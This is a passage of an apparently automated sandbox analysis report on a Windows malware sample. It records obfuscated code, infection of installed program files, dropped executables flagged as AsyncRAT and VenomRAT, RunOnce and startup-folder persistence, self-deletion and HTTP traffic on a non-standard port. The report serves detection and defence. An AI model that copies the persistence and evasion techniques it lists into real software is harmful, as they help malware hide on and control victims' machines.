Source: MyProg.exe.5.dr Static PE information: section name: Y|uR
Source: SciTE.exe.5.dr Static PE information: section name: u
Source: B552.exe.14.dr Static PE information: section name: .xdata
Source: ftejced.14.dr Static PE information: section name: .gigug
Source: ftejced.14.dr Static PE information: section name: .nigabu
Source: ftejced.14.dr Static PE information: section name: .hud
Source: ftejced.14.dr Static PE information: section name: sup
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401CD1 push ecx; ret 4_2_00401CD2
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401C91 push 00000076h; iretd 4_2_00401C93
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00402E96 push B92A2F4Ch; retf 4_2_00402E9B
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00601D38 push ecx; ret 4_2_00601D39
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00601CF8 push 00000076h; iretd 4_2_00601CFA
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00602EFD push B92A2F4Ch; retf 4_2_00602F02
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_006E6763 push edx; ret 4_2_006E6764
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_006E87E1 push FFFFFFFBh; iretd 4_2_006E87F7
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA1638 push dword ptr [00BA3084h]; ret 5_2_00BA170E
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA2D9B push ecx; ret 5_2_00BA2DAB
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA6014 push 00BA14E1h; ret 5_2_00BA6425
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA600A push ebp; ret 5_2_00BA600D
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401CD1 push ecx; ret 16_2_00401CD2
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401C91 push 00000076h; iretd 16_2_00401C93
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00402E96 push B92A2F4Ch; retf 16_2_00402E9B
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00517881 push FFFFFFFBh; iretd 16_2_00517897
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00515803 push edx; ret 16_2_00515804
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00671D38 push ecx; ret 16_2_00671D39
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00672EFD push B92A2F4Ch; retf 16_2_00672F02
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00671CF8 push 00000076h; iretd 16_2_00671CFA
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE1638 push dword ptr [00EE3084h]; ret 17_2_00EE170E
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE600A push ebp; ret 17_2_00EE600D
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE2D9B push ecx; ret 17_2_00EE2DAB
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE6014 push 00EE14E1h; ret 17_2_00EE6425
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C0DD5 push eax; ret 28_2_00007FF7C08C0DFD
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C0DC0 push eax; ret 28_2_00007FF7C08C0DFD
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C0DFE push eax; retf 28_2_00007FF7C08C0E1D
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C0D55 push eax; ret 28_2_00007FF7C08C0DFD
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C2E88 push E85D50DDh; ret 28_2_00007FF7C08C2EF9
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C00BD pushad ; iretd 28_2_00007FF7C08C00C1
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C09B23E1 push 8B485F90h; iretd 28_2_00007FF7C09B23E6
Source: 7Y18r(14).exe Static PE information: section name: .text entropy: 7.471980252090664
Source: 7Y18r(14).exe Static PE information: section name: sup entropy: 6.934340827164694
Source: IXDaI.exe.4.dr Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.5.dr Static PE information: section name: EpNuZ entropy: 6.934502658443004
Source: MyProg.exe.5.dr Static PE information: section name: Y|uR entropy: 6.934291252229405
Source: SciTE.exe.5.dr Static PE information: section name: u entropy: 6.934650171158212
Source: ftejced.14.dr Static PE information: section name: .text entropy: 7.471980252090664
Source: ftejced.14.dr Static PE information: section name: sup entropy: 6.934340827164694

Persistence and Installation Behavior
barindex
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe System file written: C:\Program Files\7-Zip\Uninstall.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File created: C:\Program Files\7-Zip\Uninstall.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\g2m.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Jump to dropped file
Source: C:\Users\user\Desktop\7Y18r(14).exe File created: C:\Users\user\AppData\Local\Temp\IXDaI.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\g2m.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\B552.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\F6D9.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\753F.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ftejced Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ftejced Jump to dropped file

Boot Survival
barindex
Yara detected AsyncRAT
Source: Yara match File source: 37.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5776, type: MEMORYSTR
Creates autostart registry keys with suspicious names
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#6110_8yUscnjrUY Jump to behavior
Drops VBS files to the startup folder
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs
Stores files to the Windows start menu directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#6110_8yUscnjrUY Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#6110_8yUscnjrUY Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#6110_8yUscnjrUY Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#6110_8yUscnjrUY Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\7y18r(14).exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\ftejced:Zone.Identifier read attributes | delete Jump to behavior
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 799
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B552.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process information set: NOOPENFILEERRORBOX
